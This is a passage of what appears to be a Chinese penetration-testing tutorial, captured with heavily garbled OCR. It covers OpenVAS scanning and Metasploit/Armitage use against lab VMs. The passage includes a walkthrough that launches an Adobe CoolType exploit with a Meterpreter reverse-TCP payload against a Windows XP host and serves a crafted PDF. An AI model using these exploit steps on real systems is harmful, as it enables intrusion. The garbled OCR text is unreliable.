TE 1% T 1% A\ Target 24 B8 S A1l 1 T 0L S8 )5 FLily Create Target 14411, K W7 i 5.38
BT 7= 1) -1

Local Vulnerabilities localhost 1 All TANA assigned TCP 2012-02-10 Elﬂu
Localhost localhost 1 OpenVAS Default Gu

P 538 HrEEN4r
M iZ LI A] LLFG 3587 22 () Local Vulnerabilities [ Fr.
3. HEEE

1F OpenVAS [{)57 5k P& Y% Ff Scan Management|New Task #y %, 4 b 7= W& 5.39
FIT 7 Py FE 10

New Task BN A

sl [Local Vulnerabilities ]
Comment (aptional) l ]
3can Config ( Local Vulnerabilities < |
Scan Targets : Local Vulnerabilities '-}
Alerts (optional) Z”I|
Schedule (optional) Z|
Slave (optional) -_;C |
Observers (optional) [
Moot g, 0m
Scan Intensity
Maximum concurrently executed NVTs per host
Maximum concurrently scanned hosts
‘ Create Task

4539 HEES
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CPRECR HUEEE

TEIZ R B AT 477 Scan Config I Scan Targets, #XJi5 .7 Create Task %%, ¥
B 5.40 i) i .

Tasks 1-10f1(total: 1) K HE W [ No auto-refresh | < || vappiy overrides| < I3

Filter: appy overrides=1 first=1 rows=10 sort=name

Reports
Name Status Total _ Trend Actions

Local Vulnerabilities Ld ([~ [ ¥

P 5.40  Friqrss

FEZ A QD (Start) bR, REIT IR . =58 shzamiitss s, bkl
(Pause) , Hiizdiil al LEHEHIH, e LLERED (Stop) {2 1E474.

523 AR R

OpenVAS FoVF I ARG FElFAGIR T, I HAFBRSITE A P I vEab 402 b o H bR EALA TR
T4 € 2 M VPAG TP ERAF S B o AN EIEH] OpenVAS K4/ 17 € At H Ar &
gt LW . AR A MR 1 B AR AR D R R R .

(1) Hrdt 4 4 Local Vulnerabilities [1] Scan Config,

(2) BRI, Prig ik 2R 5-4 Pros.

F5-4 HTimpyZEs

Compliance +14# Compliance Jifi

Default Accounts ERECE NN Esd - H

Denial of Service ERECEERch & H

FTP 14 FTP Ji %% 4

Ubuntu Local Security Checks 14 Ubuntu F 40 (1) 4 1022 4> i

(3) A HR RS
(4) 1044 K Local Vulnerabilities 44145 .
(5) HFE AR P o R & 5.41 Fros.

Tasks 1-10of1(total: N M ARE B [ /o auto-refresn

Fllter [apply_overrldes 1 first=1 rows=10 sort=name

Status Total Trend Actions

Local Vulnerabilities Apr 25 2014 d ERECn

K541 KRR 5ERE

(6) 7EiZ 5 M i8N (Task Details) b5, AFRIFEITIHAEAE L. BoR7m
5.42 iR,

(7)) ZEF SR TAE O, 20T 5% s SR AR I R S5 2. HP M
AAE R LL TR A R A . EIZ S Actions £ F BN (Details) 4
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P RS BRI Ol FaiizPbs)a, K 2an i 5.43 Brasi Fim .

Task Details B = b

Name: Local Vulnerabilities 1 ab1e5a09-a029-4881-827c-fe525ead7dd9
Comment Created: Sat Apr 26 04:02:54 2014
Scan Config: Local Vulnerabilities e g L e
Alerts:

Schedule: (Next due: over)

Target: Local Vulnerabilities

Slave:

Status: —

Reports: 1 (Finished: 1)

Observers:

Add to Assets: yes

Notes: 0

Overrides: 0

Scan Intensity

Maximum concurrently executed NVTs per host: 4

Maximum concurrently scanned hosts: 20

Reports for "Local Vulnerabilities" \/Applyuvarrudas °) 5
SD:;:'" 26 04:05:48 2014 None . 0 0 0 0 8

| -

Bl 542 FREAFERELS

Reportsummary @ [NMNMEY
Result of Task: Local Vulnerabilities Task

Order of results: by host

Scan started: Sat Apr 26 07:25:19 2014
Scan ended: Sat Apr 26 07:25:24 2014
Scan status: [="tene |

Full report: B3> (ror [2]E3
All fltered results: 0 0 0 0 0 0 g (ror 2]
Filtered results: 0 0 0 0 0 0 =)o (ror (2] 3

K543 HRi5HE

(8) fEZFHM 7R T A MEE, XLfF AT LLid e #7EY (Download) Kb 2474
.

524 M KiRIE

ARG ] OpenVAS 35— M ¢ il . IX L i (1945 248> A bR 2%
ARG . AT Windows XP, Windows 7. Metasploitable 2.0 #1 Linux %
GiE 0 BAR I AR S 44 M ik Tl ) AR AR D B R iR .

(1) Frek 44 M Network Vulnerability 1Y) Scan Config.

(2) #mprif A, Wk 5-5 s,
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O S ERE

#*55 HHER
Brute force attacks 3% )Yk
Buffer overflow EREE g et th sk o H|
CISCO 4 CISCO ¥ 4%
Compliance -4 Compliance il
Databases A B PR e 1
Default Accounts TR B A 5 s i
Denial of Service R HE(RE Y 2 T

FTP

3 FTP %% 2%

Finger abuses

j::l‘}?'}‘]w‘— FiJ.lgel" f‘lnlmm% {]HJ

Firewalls FAH 7 ok R i

Gain a shell remotelly IR FE Shell (V)1
General ERE i RG]

Malware ERELEI =X/ ChR

Netware EREN TSI S(EE%2

NMAP NSE 944 NMAP NSE s

Peer-To-Peer File Sharing

FHEIE T SRR

Port Scanners

1 1 R

Privilege Escalation

FHESETHF BRI

Product Detection ERETaalCh g

RPC 14t RPC il

Remote File Access FRE AR SO0 Tl i
SMTP Problems F 14 SMTP [n] &
SNMP 11 SNMP Js il
Service detection TR RS 5

Settings A B i

(3) B 4 4 Network Vulnerability H 5 5348 .
(4) )44 N Network Scan §14{T-%% .
(5) ML FR, WE 544 s,

Tasks 1-70f 7 (total: 7) NS W

| Mo auto-refresh

< | VApply overrides & \ S

Filter: [apply overrides=1 first=1 rows=10 sort=name

]u |£|u

Network Scan Apr 28 2014

Windows Scan Apr 26 2014

(Applied filter: apply overrides=1 first=1 rows=10 sort=name)

Status Total Trend Actions

a EREon
D@aEcn

[ <

g 5.44 Network 11545 |

(6) iz 5 n] LUA $1| %

A A PR S DA R, TR N Medium., A

FEAR RS P AR T a8 4], X A fEETik .
525 F3EIERE Linux 2GR

ANTREA

MA4F ] OpenVAS #4550 Linux B4 .

TR SR A AE— A
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5 B s B A

H br 48 h 45 5E 1) Linux R# 46 HEFMHIEY HAR Linux R84 Metasploitable 2.0 FHARAT:

T hiAs Linux. 944 € Linux 5 g0 0 BARERAE D3R W MR .
(1) #4244 Linux Vulnerabilities ] Scan Config.
(2) FMATARR AR, Wk 5-6 PR,
Fz5-6 FEAyAED

Brute force attacks Tyl T
Buffer overflow A 52 v L I
Compliance F4# Compliance il
Databases ERE i yE = ]
Default Accounts FAHRAER A P I 5 e
Denial of Service ERE EERLCY: R H

FTP

149 FTP [l %5 dv i

Finger abuses

A4 Finger il Fl ik 17

FARIR G AL Shell Jil

Gain a shell remotely

General F14ii General i il
Malware FIH % B A e T
Netware FIfM &t R
NMAP NSE FH% NMAP NSE il

EREL TR T
TSR TR BRI

Port Scanners

Privilege Escalation

Product Detection ERE TRt Rk =3/
RPC 3 RPC i

FARGIT AL ST 1) e )

Remote File Access

SMTP Porblems T4 SMTP i) il
SNMP 14 SNMP il
Service detection FIH IR 5501 5 e T
Settings EREEa N AR
Web Servers F16 Web Hiz 45 il

(3) {4 Linux Vulnerabilities H ¥x 2% .
(4) 17 Linux Scan 31T % .
(5) L5 F, Wk 545 s,

Tasks 1-7of 7 (total: 7V A HE W

ma [ Jol-l:es

Status Total Trend Actions

s Apr 28 2014 Ld ([ ] A= ¥

Filter: appLy overrides=1 first=1 rows=10 sort=name

4 545 Linux #5453

(6) MZFH T LA B H bR R g A7 4R 5 ™ 5 (1 .
br, BHRWFEERGERSEL, W& 546 Fin.

C7) MAZ S T RGAR S o] ELA BIAT 14 SR T E W Il (E L. /1% 74 011 Actions
B (Details) FbrE & HAATRNE R, WHE 547 B,

Bk 2@ (Task Details) %]
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TaskDetais MHE FZED

Name: Linux ID: 0310b&9d-aa1 a-4fbb-90ea-edd31e8d1c06
Comment: Created: Mon Apr 28 07:08:45 2014
Scan Config:  Linux Vulnerabilities Last Modified: Mon Apr 28 07:09:06 2014
Alerts:

Schedule: (Next due: over)

Target: Linux

Slave:

Status: [——ore——|

Reports: 1 (Finished: 1)

Observers:

Add to Assets: yes

Notes: 0

Overrides: 0

Scan Intensity
Maximum concurrently executed NVTs per host: 4
Maximum cancurrently scanned hosts: 20

Reports for "Linux " @ | Vapply overrides| |83
reat

Scan Results X
Report Actions
I e e =

;NO:ZApr 28 07:08:49 2014 14 7 5 120

¥ 5.46 Task Details

Security Issues reported for 192.168.41.142
High (Cvs5:9.3 distce (3632/1cp)

AES

NVT: distcc Remote Code Execution Vulnerability (O1D: 1.3.6.1.4.1.25623.1.0.103

Summary:

distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict
access to the server port, allows remote attackers to execute arbitrary
commands via compilation jobs, which are executed by the server without
autharization checks.

Solution:

Vendor updates are available. Please see the references for more
information.

References

CVE: CVE-2004-2687

CERT: Warning: database not available

Other: http://distcc.samba.org/security.htm|
http://web.nvd.nist.gov/view/vuln/detall?vulnld=CVE-2004-2687
http://www.osvdb.org/13378
httpi//archives.neohapsis.com/archives/bugtraq/2005-03/0183.html|

55:10.0) ingreslock (1524/tcp)

ossible Backdoor: Ingreslock (0ID: 1.3.6.1.4.1.2 3.1.0.103549)

i 5.47 il A
(8) A Sor (s BUR 2, TR lm g isl, 3 B AR 1 Hodb— N 8™ B 1) il
MAZ ST LA 3] 192.168.41.142 H i EHL FAAAE R ™ B . Jaii {5 BEHG B bR
MU TT A2 [ 35 11 OID AR ke 4555 o DTl (PR 5 o LA iy 1 A 245 18 7 it A7 4.
5.2.6 F33E$8E Windows R 4w iE
ANTEE A28 ] OpenVAS 445 2 Windows RGN . XL RFE B RATE—
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5 B s B A

H b5 k44 N 45 52 1Y) Windows H AR R 483X HAHEE ) H bR 248 4 Windows XP fil Windows 7.
1] OpenVAS F1#i##5  Windows &4 i i) 2 AR ER R A

R TR .

(1) #4455 Windows Vulnerabilities [ Scan Config.

(2) IIETFR T, Wik 5-7 Pk,

F5-7 HimpyZEs

Brute force attacks

B Wik

Buffer overflow

ST ) i

Compliance 4% Compliance i
Databases P Hc TR
Default Accounts PRGBS
Denial of Service FIHE 0 24 R 55 e i

FTP

4t FTP IR 55 A kel

Gain a shell remotely

FAHIFREGEAE Shell (173 A

General

4 General il

Malware FE M 28T R ST
NMAP NSE 5 NMAP NSE w1

Port Scanners

i 11 el

Privilege Escalation

FIESETHEF B

Product Detection P b o 52 el

RPC i RPC i

Remote File Access PR SRR U i) I
SMTP Problems F145 SMTP i) i s
SNMP it SNMP i
Service detection FAH N 55 v 5 il

Web Servers 14 Web [k %l
Windows A4 Windows Z 4t il

Windows:Microsoft Bulletins 144 Windows ZE ik ov ikl

(3) %4} Windows Vulnerabilities H 1 & %5,
(4) 4444 Windows Scan {15 .
(5) FRsERUE, 253 W& 548 k.

Tasks 1 - 4 of 4 (total: 4) BK *® = u'hbaum-refresh

S || o overrides

c

Filter: [apply,overrides=0 rows=10 first=1 sort=name ]

Status Total Trend |Actions
Local Vulnerabilities 2 Apr26 2014 Apr 26 2014 | None | = | Ld Y Ee 3
Windows Scan (—vane—— 1 Apr 26 2014 ' Q @]~ el ]

K548 HifigiE

(6) Mz At Al LA 3l Windows Scan 495 CL58 A, i T &0 A Medium. #] L{EIZ 5
i @Y (Task Details) FEIbReE & IEAI{E R, W 5.49 iR,

(7) M FE nl L T T4 11 B RS 5 5, Wi e s it fa) . IR TS
OLA AR WA VR 4R, AT AT 2 el vk B AR .
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TaskDetails @ HE @FW

Name:

Comment:

Windows Scan

Scan Config:  Windows vulnerabilities

Alerts:
Schedule:
Target:
Slave:
Status:
Reports:

Observers:

(Next due: over)
Windows vulnerabilities

—n

1 (Finished: 1)

Add to Assets: yes

Notes:
Overrides:

0
0

Scan Intensity
Maximum concurrently executed NVTs per host: 4

Maximum concurrently scanned hosts:

20

1D:

Created:

€d33¢9b3-810b2-4228-9498-129¢52621b96
Sat Apr 26 06:41:27 2014
Last Modified: Sat Apr 26 06:41:52 2014

Reports for "Windows Scan

Scan Results
Report Threat

- @

Sat Apr 26 06:41:46 2014

Done

3

6

54

o BEE

g 5.49 Task Details
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F6xE v B F H

AR RS R a s H A PR I B s . HLP N H b R 40 4 21 25 5 B 1
SR G ISR IBCR, T SEE B AR RgeidEiil. o TR TR %), AREfi4d
Metasploit 7247 [I') Metasploitable 2. ] ) v] LUEF HAE A 25 2] HITT Linux #24E R45. A F0R A
FH Metasploitable %8 FA7F (L, 41&MiziE S0, G MySQL %45 )4:. PostgreSQL
Kt J Tomeat 55 %, LA EEANR S0 B

O Metasploitable 4} & 5t ;

O Metasploit J&fili;

O =i Meterpreter;

Q ZiE BN H

O 4 Payload /f i T H Veil.

6.1 Metasploitable #4F & 4

Metasploitable /& J&J- Ubuntu Linux [#E RS, 1% 2805 M ERALCH, M
http://sourceforge net/projects/metasploitable/files/Metasploitable2/ [ 3l F 7% i I 2 J& 7] L H
AR, K 4dé. HTHT Ubuntu, FrLL Metasploitable i H 23k 143753 00 B T -
Metasploitable #t 2 A AE A Boci HIFEEHL, Bt LLEAA e REARSTEN iR, JFHIFBCT
Hrmfaim 0. ART0K A 444 Metasploitable SEUHLIEH] .

‘% %¢ Metasploitable 2 [1] H 4R AE LB M R R,

(1) F# Metasploitables 2, H: ¥ {44 & Metasploitable-Linux-2.0.0. zip.

(2) ¥ BRI SO R 3 A Hi g 2

(3) #IJF VMwareWorkstation, JFHUESE “ S0/ | “4TTF7 a4, K EruE 6.1
Btz 1 F1

|« THEM () » Metasploitable-Linux »
0 FERHE
< '@

9 L Metasploitahlesmdilck

1\ Motasplortablewrmlck

1 HEAL Ji Metasploitable-b8178acvmemlck
& A (o) |&| Mctasploitablewmx
a ST (D]

= DR (D)
& €D ENEH) |-

ca HHRER (1)
&4 share N\192.16

RN - e -]

Ea7iCel] @ B

Bl 6.1 IkFF Metasploitable 2 J3 50



$ 6w dilAH

(4) TEiZFILFF Metasploitable vmx, #R)5 iy “4T7F” 44, KW ilE 6.2 Fror
) S -

(g Metasploitablz2-Linux - VMiware Warkstation [E=E—
MR SHE =BV SN EEET)  EEH)
P OD DO RO
|Gkl 105 % HEI]KaIl 105 X |jEnW:rdPrEss X ‘:&gs@,‘- x| {51 Metasploitable2-Linux % 4

] Metasploitable2-Linux
I FrEkeEAL
e
G FmieEkA

v igE
W A 512 MB
s 1
EEmiccen 2¢cB
©JCD/IVD (DE)  Samem
T REEES NAT
Tomealm 2 (HETUER
Buce sz E
EErz =Ei]

- ik
This is Metasplaiteble2 (Linux) - SIS
W B
BERE [\Metasploitable2-Linux\Metasploitablz.vmax
BPHRETE Workstation 6.5-7.x EHIHL

Metasp oitable is an intartianally
vulnerable Linux virtual machne. This
VM can be used to conduct security

F 62 22351 Metasploitable 4

(3) fEizAm et “IF R EHL” $2 a4, f5 ) Metasploitable %t .
6.2 Metasploit 2z

Metasploit & — K TR )& A Il U . e al LA B Pl ml e 4= o) @, 364k I
SRR, et AT vy, MR IR XS ER. 3P E IR
Hefih Metasploit {BIEMRMER M (MSF) I, wlRES e etk 2030, &, ¥
O FREER T R, T TS M . Metasploit S4F e Rl D sEde At T 2 A H O,
TGS A AT A EEAL S5 . AT A 44 Metasploit B R4 DR AT ik

6.2.1 Metasploit FIEFEE T H Armitage

Armitage 41 1}/2 Metasploit HEZLH — 5 248 A B IEL T P 8211, Raphael
Mudge FirJF 7. Armitage [ 5l {% Metasploit #5538 ok 48 ] HARZEEE, P W BLE
F| £/~ Metasploit #i| & 5, % /> Meterpreter 231 .

i H] Armitage 1" H.. HAREAPIRAT Fros .

(1) Jazh Metasploit 45 . {E{fH] Armitage 1 H{y, 406 Metasploit [R%5 5 5. %
M), Fykiz4T Armitage | H.. [A 4 Armitage 75 357% #: 3l Metasploit I8%5, A 0] LLRsh. 7E
Kali SEACGERE “ M HIFER " [Kali Linux| “ &4 [%5” |Metasploitjcommunity/pro start iy
4 15/ Metasploit IkR%5, W4 an F s B
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[ ok'] Starting PostgreSQL 9.1 database server: main.

Configuring Metasploit...

Creating metasploit database user 'msf3'...

Creating metasploit database 'msf3'...

insserv: warning: current start runlevel(s) (empty) of script ‘metasploit' overrides LSB defaults (2 3
45).

insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script ‘'metasploit' overrides LSB
defaults (0 1 6).

M 1R145 A AT LU 3] PostgreSQL 9.1 ¥l ENR S T A 2, JFEIE 7 Hdm R Fi
B e .

(2) fa3h Armitage T F.. 7F Kali SR ESE “ N HTFLR” [Kali Linux| “ i A T
A | “ AR Jarmitage fr%, W 6.3 Fim. B4 {EAIET amitage 4
&) Armitage T ., Wl FJos:

root@kali:~# armitage

mEEE nR T B 4H260 Bl— 2028
Kali Linux » \ Top 10 Security Tools

i 2 > Q mekE
o Wi ? O WASHE
LUk ? Ty WeblF
E me P BN
@ oem Yy EanE
© Emisia | S %l BeEF XSS Framework

/‘ R ? » #G Ciscolfh

O RRIA > R e > € Exploit Database

@ LREED i PR > @ Exploit Davelopment Tools
-] e mhmit > ¥ Metasploit

’ [ 8¢ Hagking > & Socil Engineering Toolkit
# nem AR
B AETI N, exploité

1T mmms N ilat
\jhm-’.-autnpwn-lm,u
\lboss-autopwn-wm

&, termineter

ot o

i 6.3 J3zh armitage F

(3) JA3) armitage TR )=, F B lnl&l 6.4 firos ) Fii.
(4) 7EZSH 7R 7% B Metasploit 745 HEAS B . 76 1Z 7L % Connect 44411,
¥ s 6.5 FTom 1 i m .

L]
Connect... - |0 X
Busk 127.00.1 Start Metasploit? X
Fot 55553 A Mztasploit RPC server 13 not runaing or
0 ; not aceepling connzctions yet. Would you
2T Lk | ke me to start Metasploit's RFC server
foryoL?
Pass el .:—
oo | (2]
Cannect Help * w
6.4 %5 Metasploit F- B 6.5 )35 Metasploit

(5) ZAEHE E 30 3) Metasploit 1) RPC k4. Hdi “2(Y)” &4, B E s
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P

96 & i A

% 6.6 B~ [ 7 -
(6) %S o T 8 Metasploit [f— it . 4 IhiER: 5] Metasploit JIF 45 (11,
¥ s Wi 6.7 pram i 5 .

Armitage - ox

Armitsge iew Hosts Attarks Workspaces Help

HE..
rrnnecting n 127 0 0 1655353
java.nct.ConectCrception: EREE m _
= \ —e
g C '
[ S
P 6.6 i%# Metasploit -1 B 67 Amitage B4 R

(7) ST = ANy, XA EAbrd oy AL BAIC. Rl I =AR

O A: X Borp R FRCE S S H o) TR 2 4 H] s b s AR SR SR AL A e b

Q B: X&EBoiGiki) e &g, 7 seth AT R I il B .

O C: X R 24> Metasploit #7550 X, &R LLI&AT £ 4> Meterpreter % 244
&l IHFHFN BN,

(521 611 $oRAET Armitage TELEEEMR. A %
PRPEAE S 0T i o Enter scan range {e.g., 182.166.1.0/24]:
(1) B2 Armitage I, FEMIE 6.7 Fi. MiZht 102155 0020

0 B SV AT SR DL, X L, $k ]
B A R 2 AT ML

(2)7F Armitage T H {935 5142 4K Ik £ Hosts|Nmap
Scan|Quick Scan 4, B~ 6.8 Fras i) Sl .

(3) FEiZF I AL MV, X AR R4 JaFE 192.168.41.0/24. R
sy “Hf” 1L KITEAR .. PRGEE)S, SRR E 6.9 FiaRi St .

K68 HuAfifhialH

Armitage Misw Hoste Atlacks Workspaces Help

192.168.41.146

Sean Compleel

Uses ACtaths =Find ALLECs 1O Sugiest
Nmap: MAC Address: 60:0C:2 | L applicable exaloits for your Largets,
Nmap: Nmap scan report for 2 47,

[*] Nmap: Host is up (0.00058s laten
Nmap: All 100 scanned poris
Nmap: MAC Ad ss: 00:0C:2 (VMware)

Nmap: Nmap s report for .254
Nmap: Host is up [D.00014s laten
*] Nmap: All 100 scanned ports on 1$2.168.41.254 are filtered
Nmap: MAC Address: 00:50:5 (Viware)
Nmap: Nmap scan report Tor FE
Nmap: Host is up (0.0000040
*] Nmap: All 100 scanned ports on 182.168.41.235 are closed
sf >

6o HHiLER
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(4) MiZFEATLUES], 98 7T — M sE oG e, shi s “fie” il
HFHAEHARARENE P, BT =6 F0. X=4 EHUE R0 B0 M
(R0 HE Hh AT DA B4 7 8% 3% Attacks|Find Attacks #ir4, 44 0] LLIZE Wt B b5 545

(5) TEFERE P IR $E Attacks|Find Attacks iy 4>, 1E47 525K SRt 6.10 Frx
FH1HT

He x

6 Attack Analysis Complete...
You will novr see an 'Attack' menu attached
to each host in the Targets window.

Happy hunting!

FEe6.10 e

(6) MizFLm ] LE B Mo se i, HF HA AR TN S FFH 1 Attack
SR, P 6.11 .

Armitage

Armitage View Hosts Attacks Workspaces Help

[» @ auriliary

activecollab_chat
ajaxplorer_checkinstall_exec
apprain_upload_exec
auxilium_upload_exec

| Logn realserver
Seryices

2. 16 sl

samba
webapp

= contentkeeperweb_mimencode

cuteflow_upload_exec
extplorer_upload_exec
Familycms_less_exec

6 are closed
re)

freenas_exec_raw
gitorious_graph

More

Nmap: A
Nmap: MA
Nmap
Nmap

Nmap: MA

Nmap

Nmap

Nmap: All 10 ] .41.235 are closed

Nmap: Nmap done: 256 IP ¢ oSt scanned in 4.08 seconds
msf >

% 6.11 Attack 320

(7> izt ] LU FIE B AR AL b L T Attack 3605, £ 20 5 op 3 AT T4
I, E¥ATi&4T Find Attacks #y 41, % Services, Scan fll Host —=MET . 13X H 14
FH) WL AR 2 D, 3K U IE 3 R A R GT 2R T . B o] RAAE SR R v Ak
R 1% Hosts|Nmap Scan|Quick Scan (OS detect) 4>, FAFEIERSGIET ., HFEKR)G,
¥ B RE RERIBGAE bR

(8) FAMIRIE RS, T, Rl 6.12 prosi) 5t .
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Armitage - (0 X
Armitage View Hosts Attacks Workspaces Help
» (B awiliary

» (5 payload
» [ post

1592.168.41.146

[ Console % T nmap X T nmap % T nmap % T nmap % W

Nmap: 5000/tcp open http-proxy sslstrip

Nmap: MAC Address: 00:0C:29:48:66:40 (VMware)

Nmap: Device type: general purpose

Nmap: Running: Microsoft Windows 2000 XP

Nmap: 05 CPE: cpe:/o:microsoft:windows_2000::- cpe:/o:microsoft:windows_2000::5p1
cpe:fo:microsoft:windows_2000::5p2 cpe:/o:microsoft:windows_2000::5p3
cpe:fo:microsoft:windows_2000::5pd4 cpe:fo:microsoft:windows_xp::-
cpe:fo:microsoft:windows_xp::spl

Nmap: 05 details: Microsoft Windows 2000 SPO - SP4 or Windows XP SPO - SP1

Nmap: Network Distance: 1 hop

Nmap: Service Info: 05: Windows; CPE: cpe:fo:microsoft:windows

Nmap: 05 and Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .

Nmap: Nmap done: 1 IP address {1 host up) scanned in 7.71 seconds

K612 FHMIMERE RS

(9) M FH ] LLE B B0 HAR 0L, BEs 2l T2 SR ] UE R H Ax,
AT BIERG .

(100 Mhy, af LA AT AR i DI PR ERIBIE Mk A bR R 40, Qe Fizid Mot
Vi As AR fF TIRC AR R p i A $E exploitlwindows|browser|adobe cooltype sing FEH, A{
i adobe_cooltype sing #id, FE WP 6.13 Fraf A

windows/browser/adobe_cooltype.-sing
Adobe CoolType SING Table "uniqueName" Stack Buffer Qverflow

This module exploits 3 vulnerability in the Smart INdependent Glyplets {SING) table handling within versions
8.2.4 and 9.53.4 of Adobe Reader. Prior versions are assumed Lo be vulnerable as well,

— —
Option 4| Value

DisablePayloadHandler false

ExitOnSession false

LHOST 192.168.41.235

LPORT g107

PAYLOAD + windows/meterpreter/reverse_tep
SRVHOST 0.000

SRVPORT B0BD

S50 0

SSLCert

S5LVersion 5503

URIPATH

Targets: |0 => Automatic | ¥

) Show advanced options

Launch

e 6.13 BB E 0

(11) ZFHHE7< T adobe cooltype sing HRER[1JERIARC B LIS Ko JXLLIE I [1) ERIA
e, W LLEE A ERAEIE . W SER S, Bl Launch 144, £ Armitage % i
& 6.14 Fros vy AL .
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Armitage - | O X

Armitage Wiew Hosts Attacks Workspaces Help

3] backupexec
L2 ﬁ brightstar
¥ (& browser
adobe _coolty
E} adobe_flash_i
D adobe:_flash_of
E} adobe flash_r{¥

Console % | nmap X [ windaws/browser/adobe cooltype sing X]

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit{; ) > set TARGET 0

TARGET => 0

msf exploit( ) > set SRYHOST 0.0.0.0

SRVHOST => 0.0.0.0

msf exploit{ ) > set ExitOnSession false

ExitOn5ession == Talse

msf exploit{ ) > exploit -
] Exploit running as background job.
*] Started reverse handler on 1%2.168.41.235:8684
Using URL: http://0.0.0.0:8080/|EdB2oma7AEGYTG
[*1 Local IP: http://1%2.168.41.235:8080/|EdB2omaTAEGVT G
Server started.
msf exploit] ) >

K614 BEIHER

(12) MixFtmv LUE £, {£H] adobe cooltype sing fiHEERGH R . Wi R
fa B LLES, BiEYGE el LGRS BALVI ) http://192.168.41.235:8080/
JEdB20ma7AEGVTG 80, %248 B bR BN Al —4~ 4 4 JEdB2oma7AEGVTG [f] PDF
Ao HUEAT B AR ML ) 1254, Ammitage 5] 6 2315 A 23 B U5 0] 9 0L, il 6.15
Fioss

S

Armitage - | O

Armitage View Hosts Attacks Workspares Help

> ﬁ backupexee i
> ﬁ brightstar
v E‘ browser

adobe_cooltyg
D adube_flash_

D adobe flash_o|
Dadnhej\ashj!t 192.168.41.1 192.168.41.2

Console X | nmap X | windows/browser/adobe cooltype sing XW

mst exploit( ) = set ExitOnSession false
ExitOnSession => false
msf exploit{ ) > exploit -
] Expleit running as background job.
*] Started reverse handler on 192.168.41.225:8684
1 Using URL: http:£/0.0.0.0:8080/]JEdB2oma7AEGVTG
Local IP: http://192.168.41.235:8080/|[EdB2oma7AEGY7G
] Server started.
11%2.168.41.146 adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0;

Windows NT 5.1)
[*1192.168.41.146 adobe_cooltype_sing - Sending crafted PDF
]1192.168.41.146 adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1)
*1192.168.41.146 adobe_cooltype_sing - Sending crafted PDF
m5f exploit]

K] 6.15 iz A

(13) MiZFm vl LLA # 0L 192.168.41.146, 1) T hitp://192.168.41.235:8080/
JEdB2oma7AEGVTG ##%. JFH, ®JLLFH B/ 141 192.168.41.146 [ | PDF L ff.
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6.2.2 =l Metasploit #%im (MSFCONSOLE)

MSF #35 (MSFCONSOLE) i [ i Metasploit HE4 5 AT (0 /0, 1y Ho
e RAEH . B4 MSF £45i /2 Metasploit HERR P i R 3% . DhfE i 8 MOCRFEsdir i TR 2
—, MSFCONSOLE F#H| T Metasploit 4%, S FEE. AlE 31558l Metasploit
Bileo A Eokud, 2ok TR R, MSFCONSOLE Rf 3R A A 4 3] T HLIRAE &
L TH PR IR ahizim Bl A AR B 48 A</ 1564 2 Metasploit 243 (MSFCONSOLE)
L4 H] Metasploit G I, PR H - L2i@ i ar &, Wk Bk
Q help: Zdr4 RVFH A B AT A 2 008 B E B .
use module: 1%y VT P INEEEFE PR
set optionname module: 1%y 4> FLVFH] ) A REHVE AN W] (1L 10
run: %A AR E AN R BE GG L.
search module: %4 VT PR R —MFe e A AR
exit: %2 LV IR MSFCONSOLE.
MSFCONSOLE s il A F (1) FLAR AR D3R QN R
(1) 7E£&5i i3 MSFCONSOLE, #4741 F B

root@kali:~# msfconsole

PATLL Edr e, i B N s

I S R

+ +
| METASPLOIT by Rapid7 |
+ + +

I I
| ==c( (of () | [ ==z ===fere |

| )=\ || EXPLOIT \ |

| A\ [ \ |

| 0w | ==[msf >|============\ |

| /B I \

I ”// RECON\\\\ | NM@)X@)X@) (@) (@) (@) @) | I
+ + +

| 000 | VWY |

| 00 | je=====( |

| o | ! LoOT . |

| |AAAAAAAAAAAAAA||_ | / _”_ \ |

I PAYLOAD  |™__.| / (L \ |

[ [ D_II I ) I I

| ([@)(@)""=|(@)@)**[(@)] " | " I

I+ + | + |

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro's wizard -- type 'go_pro' to launch it now.
=[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0]
+ -- --=[ 1256 exploits - 762 auxiliary - 212 post
+ -- —=[ 324 payloads - 32 encoders - 8 nops
msf >

Y IS B msP4 7R 1F, #oR ¥ 5k MSFCONSOLE Hey. Bl af o] BLTE % 447
IBAT HANT AT/ 4
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(2) M H] search TR FTH A2 Linux . 6 TR P 0 SEAT— 4 3)

fE, XR—MRUEEE. VY Z Metasploit &M RRACZ 8], BLLLREE AT 0] BEA 2L

£

msf> search linux
#ATEL BT, s B s
Matching Modules

Name Disclosure Date Rank Description

auxiliary/admin/http/jboss_seam_exec 2010-07-19 00:00:00 UTC normal JBoss Seam 2
Remote Command Execution

auxiliary/analyze/jtr_linux normal John the Ripper
Linux Password Cracker

auxiliary/analyze/jtr_unshadow normal Unix Unshadow
Utility

auxiliary/dos/wifi/netgear_ma521_rates normal NetGear MA521
Wireless Driver Long Rates Overflow

auxiliary/dos/wifi/netgear_wg311pci normal NetGear WG311v1
Wireless Driver Long SSID Overflow

auxiliary/scanner/http/atlassian_crowd_fileaccess normal Atlassian Crowd
XML Entity Expansion Remote File Access

auxiliary/scanner/http/hp_sitescope_getffileinternal_fileaccess normal HP SiteScope
SOAP Call getFilelnternal Remote File Access

auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration normal HP SiteScope
SOAP Call getSiteScopeConfiguration Configuration Access

auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess normal HP SiteScope
SOAP Call loadFileContent Remote File Access
...... HEEAR T AE

post/multi/manage/play_youtube normal Multi Manage YouTube Broadcast

post/multi/manage/record_mic normal Multi Manage Record Microphone

post/multi’/manage/sudo normal  Multiple Linux / Unix Post Sudo Upgrade Shell

post/multi/manage/system_session normal  Multi Manage System Remote TCP Shell
Session

post/pro/multi/agent normal  Metasploit Pro Persistent Agent
post/pro/multi/agent_cleaner normal Metasploit Pro Persistent Agent Cleaner
post/pro/multi/gather/hashdump  normal  Pro: Multi Gather Hashdump
post/pro/multi/gather/sysinfo normal  Unix Gather System Info

post/pro/multi/macro normal  Metasploit Pro Post Exploitation Macro Launcher

post/windows/manage/pxexploit normal Windows Manage PXE Exploit Server

